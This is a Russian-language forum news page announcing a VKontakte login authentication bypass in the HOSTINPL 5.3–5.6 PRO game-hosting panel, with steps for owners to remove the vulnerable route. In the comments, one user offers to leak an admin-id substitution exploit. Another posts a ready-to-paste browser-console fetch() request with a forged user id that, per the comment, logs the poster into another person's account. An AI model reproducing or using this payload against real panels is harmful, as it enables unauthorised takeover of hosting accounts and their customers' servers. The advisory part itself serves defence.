FREE PLUMS

Добро пожаловать на free-plums.ru
Пожалуйста, войдите в аккаунт или зарегистрируйтесь, чтобы иметь полный доступ к сайту
Авторизация
Регистрация

Важная новость для клиентов HOSTINPL 5.3 PRO - 5.6

Доброго времени суток.
Как все уже вероятно знают, была найдена уязвимость с авторизацией через ВКонтакте.

Некоторые могут сказать, что это баг или дыра от нас, но это не так. Ошибка была допущена еще на момент разработки HOSTINPL 5.3 PRO не нашими разработчиками, а замечена только при разработке HOSTINPL 5.6 PRO.

Суть заключается в том, что без Вашего ведома возможно войти в Ваш профиль панели управления. Версии на которые распространена проблема: 5.3-5.6.

Для того чтобы избавится от авторизации через ВКонтакте, переходим в файл: /application/controllers/account/login.php и находим public vk, просто берем и убираем данный паблик.
(Если Вы приобретали панель, поможем Вам в этом).
Чтобы убрать кнопки из html кода, переходим в файл: /application/views/common/header.php

Устанавливая панель с нашего репозитория, авторизация уже отсутствует (5.5 PRO и 5.6).

Данная новость выложена из-за людей которые начали пользоваться данной недоработкой, просто узнав об ней.

FPBOT
FPBOT
Игровой хостинг / Все для Hostinpl
3
Похожие новости
Авторизация/Регистрация для панели hostinpl
Авторизация/Регистрация для панели
Авторизация/регистрация hostinpl 5.4
Панель управления игровым хостингом HOSTINPL 5.6 PRO - Слив
Панель управления игровым
Представляю вашему вниманию уникальную панель управления игровым хостингом HOSTINPL 5.6 PRO
  1. thumb
    Пользователь MrPika
    10.12.2021, 00:05

    Могу слить код, через который можно зайти с подменой своего id на подмену id админа хоста

    1. thumb
      Пользователь maks.weeb1
      3.12.2023, 14:48
      гооооооооооооооооооооооооооооо
  2. thumb
    Местный apnem19
    10.12.2021, 03:15

    Открываете f12 вкладку консоль туда вставляете этот код
    fetch("/account/login/vk", {method: "POST", headers: {'Content-Type': "application/x-www-form-urlencoded"}, body: "response[session][user][id]=0&auth=a"}).then(a=>a.json()).then(a=>
    console.log(a));
    нажимаете enter  и все вы в аккаунте



Сотрудничество / реклама
Email - romanolegov02@gmail.com
VK - vk.com/panel_hosting

Комментарии

Скрипт социальной сети DezMond

https://disk.yandex.ru/d/VCvoFA0Y2aEohA заменил .ua на .ru

Скрипт рулетки Robloxclash + slots

Как подключить его?

Скрипт социальной сети DezMond

Ваша ссылка не рабочая увы. не скачать.

Скрипт социальной сети DezMond

Обновите скрипт ссылку

Панель копии хостинга Naven hostinpl 5.6

Просьба не вестись, данная панель с шеллами и нерабочая. Naven Host такую панель не использует.

RageMine автодонат | QIWI + ENOT.IO V1.0

как скачать?

Время работы проекта